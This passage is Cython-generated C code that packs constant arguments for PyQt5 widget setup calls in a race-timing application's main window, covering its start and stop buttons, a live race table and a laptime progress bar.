self.B_Start.setAccessibleName("") */ __pyx_tuple__450 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__450)) __PYX_ERR(0, 697, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__450); __Pyx_GIVEREF(__pyx_tuple__450); /* "Ui_MainWindow.py":698 * self.B_Start = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Start.setToolTip("") * self.B_Start.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") */ __pyx_tuple__451 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__451)) __PYX_ERR(0, 698, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__451); __Pyx_GIVEREF(__pyx_tuple__451); /* "Ui_MainWindow.py":699 * self.B_Start.setToolTip("") * self.B_Start.setStatusTip("") * self.B_Start.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Start.setAccessibleDescription("") * self.B_Start.setObjectName("B_Start") */ __pyx_tuple__452 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__452)) __PYX_ERR(0, 699, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__452); __Pyx_GIVEREF(__pyx_tuple__452); /* "Ui_MainWindow.py":700 * self.B_Start.setStatusTip("") * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Start.setObjectName("B_Start") * self.horizontalLayout_4.addWidget(self.B_Start) */ __pyx_tuple__453 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__453)) __PYX_ERR(0, 700, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__453); __Pyx_GIVEREF(__pyx_tuple__453); /* "Ui_MainWindow.py":701 * self.B_Start.setAccessibleName("") * self.B_Start.setAccessibleDescription("") * self.B_Start.setObjectName("B_Start") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Start) * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) */ __pyx_tuple__454 = PyTuple_Pack(1, __pyx_n_u_B_Start); if (unlikely(!__pyx_tuple__454)) __PYX_ERR(0, 701, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__454); __Pyx_GIVEREF(__pyx_tuple__454); /* "Ui_MainWindow.py":704 * self.horizontalLayout_4.addWidget(self.B_Start) * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Stop.setEnabled(False) # <<<<<<<<<<<<<< * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") */ __pyx_tuple__455 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__455)) __PYX_ERR(0, 704, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__455); __Pyx_GIVEREF(__pyx_tuple__455); /* "Ui_MainWindow.py":705 * self.B_Stop = QtWidgets.QPushButton(self.verticalLayoutWidget_2) * self.B_Stop.setEnabled(False) * self.B_Stop.setToolTip("") # <<<<<<<<<<<<<< * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") */ __pyx_tuple__456 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__456)) __PYX_ERR(0, 705, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__456); __Pyx_GIVEREF(__pyx_tuple__456); /* "Ui_MainWindow.py":706 * self.B_Stop.setEnabled(False) * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") */ __pyx_tuple__457 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__457)) __PYX_ERR(0, 706, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__457); __Pyx_GIVEREF(__pyx_tuple__457); /* "Ui_MainWindow.py":707 * self.B_Stop.setToolTip("") * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") # <<<<<<<<<<<<<< * self.B_Stop.setAccessibleDescription("") * self.B_Stop.setObjectName("B_Stop") */ __pyx_tuple__458 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__458)) __PYX_ERR(0, 707, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__458); __Pyx_GIVEREF(__pyx_tuple__458); /* "Ui_MainWindow.py":708 * self.B_Stop.setStatusTip("") * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.B_Stop.setObjectName("B_Stop") * self.horizontalLayout_4.addWidget(self.B_Stop) */ __pyx_tuple__459 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__459)) __PYX_ERR(0, 708, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__459); __Pyx_GIVEREF(__pyx_tuple__459); /* "Ui_MainWindow.py":709 * self.B_Stop.setAccessibleName("") * self.B_Stop.setAccessibleDescription("") * self.B_Stop.setObjectName("B_Stop") # <<<<<<<<<<<<<< * self.horizontalLayout_4.addWidget(self.B_Stop) * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) */ __pyx_tuple__460 = PyTuple_Pack(1, __pyx_n_u_B_Stop); if (unlikely(!__pyx_tuple__460)) __PYX_ERR(0, 709, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__460); __Pyx_GIVEREF(__pyx_tuple__460); /* "Ui_MainWindow.py":713 * self.verticalLayout_P_Race.addLayout(self.horizontalLayout_4) * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) * self.R_RaceLive.setToolTip("") # <<<<<<<<<<<<<< * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") */ __pyx_tuple__461 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__461)) __PYX_ERR(0, 713, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__461); __Pyx_GIVEREF(__pyx_tuple__461); /* "Ui_MainWindow.py":714 * self.R_RaceLive = QtWidgets.QTableWidget(self.verticalLayoutWidget_2) * self.R_RaceLive.setToolTip("") * self.R_RaceLive.setStatusTip("") # <<<<<<<<<<<<<< * self.R_RaceLive.setAccessibleName("") * self.R_RaceLive.setAccessibleDescription("") */ __pyx_tuple__462 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__462)) __PYX_ERR(0, 714, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__462); __Pyx_GIVEREF(__pyx_tuple__462); /* "Ui_MainWindow.py":715 * self.R_RaceLive.setToolTip("") * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_RaceLive.setAccessibleDescription("") * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) */ __pyx_tuple__463 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__463)) __PYX_ERR(0, 715, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__463); __Pyx_GIVEREF(__pyx_tuple__463); /* "Ui_MainWindow.py":716 * self.R_RaceLive.setStatusTip("") * self.R_RaceLive.setAccessibleName("") * self.R_RaceLive.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_RaceLive.setFrameShape(QtWidgets.QFrame.NoFrame) * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) */ __pyx_tuple__464 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__464)) __PYX_ERR(0, 716, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__464); __Pyx_GIVEREF(__pyx_tuple__464); /* "Ui_MainWindow.py":720 * self.R_RaceLive.setSizeAdjustPolicy(QtWidgets.QAbstractScrollArea.AdjustToContents) * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive.setTabKeyNavigation(False) # <<<<<<<<<<<<<< * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) */ __pyx_tuple__465 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__465)) __PYX_ERR(0, 720, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__465); __Pyx_GIVEREF(__pyx_tuple__465); /* "Ui_MainWindow.py":721 * self.R_RaceLive.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) * self.R_RaceLive.setTabKeyNavigation(False) * self.R_RaceLive.setProperty("showDropIndicator", False) # <<<<<<<<<<<<<< * self.R_RaceLive.setDragDropOverwriteMode(False) * self.R_RaceLive.setAlternatingRowColors(True) */ __pyx_tuple__466 = PyTuple_Pack(2, __pyx_n_u_showDropIndicator, Py_False); if (unlikely(!__pyx_tuple__466)) __PYX_ERR(0, 721, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__466); __Pyx_GIVEREF(__pyx_tuple__466); /* "Ui_MainWindow.py":722 * self.R_RaceLive.setTabKeyNavigation(False) * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) # <<<<<<<<<<<<<< * self.R_RaceLive.setAlternatingRowColors(True) * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) */ __pyx_tuple__467 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__467)) __PYX_ERR(0, 722, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__467); __Pyx_GIVEREF(__pyx_tuple__467); /* "Ui_MainWindow.py":723 * self.R_RaceLive.setProperty("showDropIndicator", False) * self.R_RaceLive.setDragDropOverwriteMode(False) * self.R_RaceLive.setAlternatingRowColors(True) # <<<<<<<<<<<<<< * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) */ __pyx_tuple__468 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__468)) __PYX_ERR(0, 723, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__468); __Pyx_GIVEREF(__pyx_tuple__468); /* "Ui_MainWindow.py":726 * self.R_RaceLive.setSelectionMode(QtWidgets.QAbstractItemView.MultiSelection) * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive.setRowCount(0) # <<<<<<<<<<<<<< * self.R_RaceLive.setColumnCount(7) * self.R_RaceLive.setObjectName("R_RaceLive") */ __pyx_tuple__469 = PyTuple_Pack(1, __pyx_int_0); if (unlikely(!__pyx_tuple__469)) __PYX_ERR(0, 726, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__469); __Pyx_GIVEREF(__pyx_tuple__469); /* "Ui_MainWindow.py":727 * self.R_RaceLive.setSelectionBehavior(QtWidgets.QAbstractItemView.SelectItems) * self.R_RaceLive.setRowCount(0) * self.R_RaceLive.setColumnCount(7) # <<<<<<<<<<<<<< * self.R_RaceLive.setObjectName("R_RaceLive") * item = QtWidgets.QTableWidgetItem() */ __pyx_tuple__470 = PyTuple_Pack(1, __pyx_int_7); if (unlikely(!__pyx_tuple__470)) __PYX_ERR(0, 727, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__470); __Pyx_GIVEREF(__pyx_tuple__470); /* "Ui_MainWindow.py":728 * self.R_RaceLive.setRowCount(0) * self.R_RaceLive.setColumnCount(7) * self.R_RaceLive.setObjectName("R_RaceLive") # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") */ __pyx_tuple__471 = PyTuple_Pack(1, __pyx_n_u_R_RaceLive); if (unlikely(!__pyx_tuple__471)) __PYX_ERR(0, 728, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__471); __Pyx_GIVEREF(__pyx_tuple__471); /* "Ui_MainWindow.py":730 * self.R_RaceLive.setObjectName("R_RaceLive") * item = QtWidgets.QTableWidgetItem() * item.setText("Sorting") # <<<<<<<<<<<<<< * self.R_RaceLive.setHorizontalHeaderItem(0, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_tuple__472 = PyTuple_Pack(1, __pyx_n_u_Sorting); if (unlikely(!__pyx_tuple__472)) __PYX_ERR(0, 730, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__472); __Pyx_GIVEREF(__pyx_tuple__472); /* "Ui_MainWindow.py":745 * item = QtWidgets.QTableWidgetItem() * self.R_RaceLive.setHorizontalHeaderItem(6, item) * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) # <<<<<<<<<<<<<< * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) */ __pyx_tuple__473 = PyTuple_Pack(1, __pyx_int_100); if (unlikely(!__pyx_tuple__473)) __PYX_ERR(0, 745, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__473); __Pyx_GIVEREF(__pyx_tuple__473); /* "Ui_MainWindow.py":746 * self.R_RaceLive.setHorizontalHeaderItem(6, item) * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) # <<<<<<<<<<<<<< * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) */ __pyx_tuple__474 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__474)) __PYX_ERR(0, 746, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__474); __Pyx_GIVEREF(__pyx_tuple__474); /* "Ui_MainWindow.py":747 * self.R_RaceLive.horizontalHeader().setDefaultSectionSize(100) * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive.verticalHeader().setStretchLastSection(False) */ __pyx_tuple__475 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__475)) __PYX_ERR(0, 747, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__475); __Pyx_GIVEREF(__pyx_tuple__475); /* "Ui_MainWindow.py":748 * self.R_RaceLive.horizontalHeader().setSortIndicatorShown(False) * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) # <<<<<<<<<<<<<< * self.R_RaceLive.verticalHeader().setStretchLastSection(False) * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) */ __pyx_tuple__476 = PyTuple_Pack(1, __pyx_int_15); if (unlikely(!__pyx_tuple__476)) __PYX_ERR(0, 748, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__476); __Pyx_GIVEREF(__pyx_tuple__476); /* "Ui_MainWindow.py":749 * self.R_RaceLive.horizontalHeader().setStretchLastSection(False) * self.R_RaceLive.verticalHeader().setDefaultSectionSize(15) * self.R_RaceLive.verticalHeader().setStretchLastSection(False) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.addWidget(self.R_RaceLive) * self.toolBox.addItem(self.P_Race, "") */ __pyx_tuple__477 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__477)) __PYX_ERR(0, 749, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__477); __Pyx_GIVEREF(__pyx_tuple__477); /* "Ui_MainWindow.py":753 * self.toolBox.addItem(self.P_Race, "") * self.P_Laptime = QtWidgets.QWidget() * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) # <<<<<<<<<<<<<< * self.P_Laptime.setObjectName("P_Laptime") * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) */ __pyx_tuple__478 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_821, __pyx_int_477); if (unlikely(!__pyx_tuple__478)) __PYX_ERR(0, 753, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__478); __Pyx_GIVEREF(__pyx_tuple__478); /* "Ui_MainWindow.py":754 * self.P_Laptime = QtWidgets.QWidget() * self.P_Laptime.setGeometry(QtCore.QRect(0, 0, 821, 477)) * self.P_Laptime.setObjectName("P_Laptime") # <<<<<<<<<<<<<< * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) */ __pyx_tuple__479 = PyTuple_Pack(1, __pyx_n_u_P_Laptime); if (unlikely(!__pyx_tuple__479)) __PYX_ERR(0, 754, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__479); __Pyx_GIVEREF(__pyx_tuple__479); /* "Ui_MainWindow.py":756 * self.P_Laptime.setObjectName("P_Laptime") * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) */ __pyx_tuple__480 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_791, __pyx_int_471); if (unlikely(!__pyx_tuple__480)) __PYX_ERR(0, 756, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__480); __Pyx_GIVEREF(__pyx_tuple__480); /* "Ui_MainWindow.py":757 * self.verticalLayoutWidget_3 = QtWidgets.QWidget(self.P_Laptime) * self.verticalLayoutWidget_3.setGeometry(QtCore.QRect(0, 0, 791, 471)) * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) */ __pyx_tuple__481 = PyTuple_Pack(1, __pyx_n_u_verticalLayoutWidget_3); if (unlikely(!__pyx_tuple__481)) __PYX_ERR(0, 757, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__481); __Pyx_GIVEREF(__pyx_tuple__481); /* "Ui_MainWindow.py":759 * self.verticalLayoutWidget_3.setObjectName("verticalLayoutWidget_3") * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.setSpacing(1) * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") */ __pyx_tuple__482 = PyTuple_Pack(4, __pyx_int_0, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__482)) __PYX_ERR(0, 759, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__482); __Pyx_GIVEREF(__pyx_tuple__482); /* "Ui_MainWindow.py":760 * self.verticalLayout_P_Laptime = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_3) * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Laptime.setSpacing(1) # <<<<<<<<<<<<<< * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() */ __pyx_tuple__483 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__483)) __PYX_ERR(0, 760, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__483); __Pyx_GIVEREF(__pyx_tuple__483); /* "Ui_MainWindow.py":761 * self.verticalLayout_P_Laptime.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Laptime.setSpacing(1) * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") # <<<<<<<<<<<<<< * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) */ __pyx_tuple__484 = PyTuple_Pack(1, __pyx_n_u_verticalLayout_P_Laptime); if (unlikely(!__pyx_tuple__484)) __PYX_ERR(0, 761, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__484); __Pyx_GIVEREF(__pyx_tuple__484); /* "Ui_MainWindow.py":763 * self.verticalLayout_P_Laptime.setObjectName("verticalLayout_P_Laptime") * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_5.setSpacing(1) * self.horizontalLayout_5.setObjectName("horizontalLayout_5") */ __pyx_tuple__485 = PyTuple_Pack(4, __pyx_int_neg_1, __pyx_int_0, __pyx_int_0, __pyx_int_0); if (unlikely(!__pyx_tuple__485)) __PYX_ERR(0, 763, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__485); __Pyx_GIVEREF(__pyx_tuple__485); /* "Ui_MainWindow.py":764 * self.horizontalLayout_5 = QtWidgets.QHBoxLayout() * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) * self.horizontalLayout_5.setSpacing(1) # <<<<<<<<<<<<<< * self.horizontalLayout_5.setObjectName("horizontalLayout_5") * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) */ __pyx_tuple__486 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__486)) __PYX_ERR(0, 764, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__486); __Pyx_GIVEREF(__pyx_tuple__486); /* "Ui_MainWindow.py":765 * self.horizontalLayout_5.setContentsMargins(-1, 0, 0, 0) * self.horizontalLayout_5.setSpacing(1) * self.horizontalLayout_5.setObjectName("horizontalLayout_5") # <<<<<<<<<<<<<< * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) */ __pyx_tuple__487 = PyTuple_Pack(1, __pyx_n_u_horizontalLayout_5); if (unlikely(!__pyx_tuple__487)) __PYX_ERR(0, 765, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__487); __Pyx_GIVEREF(__pyx_tuple__487); /* "Ui_MainWindow.py":767 * self.horizontalLayout_5.setObjectName("horizontalLayout_5") * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") */ __pyx_tuple__488 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__488)) __PYX_ERR(0, 767, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__488); __Pyx_GIVEREF(__pyx_tuple__488); /* "Ui_MainWindow.py":768 * self.PB_TimeRace_2 = QtWidgets.QProgressBar(self.verticalLayoutWidget_3) * self.PB_TimeRace_2.setEnabled(True) * self.PB_TimeRace_2.setToolTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") */ __pyx_tuple__489 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__489)) __PYX_ERR(0, 768, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__489); __Pyx_GIVEREF(__pyx_tuple__489); /* "Ui_MainWindow.py":769 * self.PB_TimeRace_2.setEnabled(True) * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") */ __pyx_tuple__490 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__490)) __PYX_ERR(0, 769, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__490); __Pyx_GIVEREF(__pyx_tuple__490); /* "Ui_MainWindow.py":770 * self.PB_TimeRace_2.setToolTip("") * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) */ __pyx_tuple__491 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__491)) __PYX_ERR(0, 770, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__491); __Pyx_GIVEREF(__pyx_tuple__491); /* "Ui_MainWindow.py":771 * self.PB_TimeRace_2.setStatusTip("") * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) */ __pyx_tuple__492 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__492)) __PYX_ERR(0, 771, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__492); __Pyx_GIVEREF(__pyx_tuple__492); /* "Ui_MainWindow.py":772 * self.PB_TimeRace_2.setAccessibleName("") * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) */ __pyx_tuple__493 = PyTuple_Pack(1, __pyx_int_1); if (unlikely(!__pyx_tuple__493)) __PYX_ERR(0, 772, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__493); __Pyx_GIVEREF(__pyx_tuple__493); /* "Ui_MainWindow.py":773 * self.PB_TimeRace_2.setAccessibleDescription("") * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") */ __pyx_tuple__494 = PyTuple_Pack(2, __pyx_n_u_value, __pyx_int_1); if (unlikely(!__pyx_tuple__494)) __PYX_ERR(0, 773, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__494); __Pyx_GIVEREF(__pyx_tuple__494); /* "Ui_MainWindow.py":774 * self.PB_TimeRace_2.setMaximum(1) * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setFormat("Waiting for start") * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") */ __pyx_tuple__495 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__495)) __PYX_ERR(0, 774, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__495); __Pyx_GIVEREF(__pyx_tuple__495); /* "Ui_MainWindow.py":775 * self.PB_TimeRace_2.setProperty("value", 1) * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") # <<<<<<<<<<<<<< * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) */ __pyx_tuple__496 = PyTuple_Pack(1, __pyx_kp_u_Waiting_for_start); if (unlikely(!__pyx_tuple__496)) __PYX_ERR(0, 775, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__496); __Pyx_GIVEREF(__pyx_tuple__496); /* "Ui_MainWindow.py":776 * self.PB_TimeRace_2.setTextVisible(True) * self.PB_TimeRace_2.setFormat("Waiting for start") * self.PB_TimeRace_2.setObjectName("PB_TimeRace_2") # <<<<<<<<<<<<<< * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) */ __pyx_tuple__497 = PyTuple_Pack(1, __pyx_n_u_PB_TimeRace_2); if (unlikely(!__pyx_tuple__497)) __PYX_ERR(0, 776, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__497); __Pyx_GIVEREF(__pyx_tuple__497); /* "Ui_MainWindow.py":779 * self.horizontalLayout_5.addWidget(self.PB_TimeRace_2) * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) # <<<<<<<<<<<<<< * self.B_Define_2.setToolTip("") * self.B_Define_2.setStatusTip("") */ __pyx_tuple__498 = PyTuple_Pack(2, __pyx_int_20, __pyx_int_16777215); if (unlikely(!__pyx_tuple__498)) __PYX_ERR(0, 779, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__498); __Pyx_GIVEREF(__pyx_tuple__498); /* "Ui_MainWindow.py":780 * self.B_Define_2 = QtWidgets.QComboBox(self.verticalLayoutWidget_3) * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define_2.setToolTip("") # <<<<<<<<<<<<<< * self.B_Define_2.setStatusTip("") * self.B_Define_2.setAccessibleName("") */ __pyx_tuple__499 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__499)) __PYX_ERR(0, 780, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__499); __Pyx_GIVEREF(__pyx_tuple__499); /* "Ui_MainWindow.py":781 * self.B_Define_2.setMaximumSize(QtCore.QSize(20, 16777215)) * self.B_Define_2.setToolTip("") * self.B_Define_2.setStatusTip("") # <<<<<<<<<<<<<< * self.B_Define_2.setAccessibleName("") * self.B_Define_2.setAccessibleDescription("") */ __pyx_tuple__500 = PyTuple_Pack(1, __pyx_kp_u__9); if (unlikely(!__pyx_tuple__500)) __PYX_ERR(0, 781, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__500); __Pyx_GIVEREF(__pyx_tuple__500); /* "Ui_MainWindow.py":782 * self.B_Define_2.setToolTip("") * 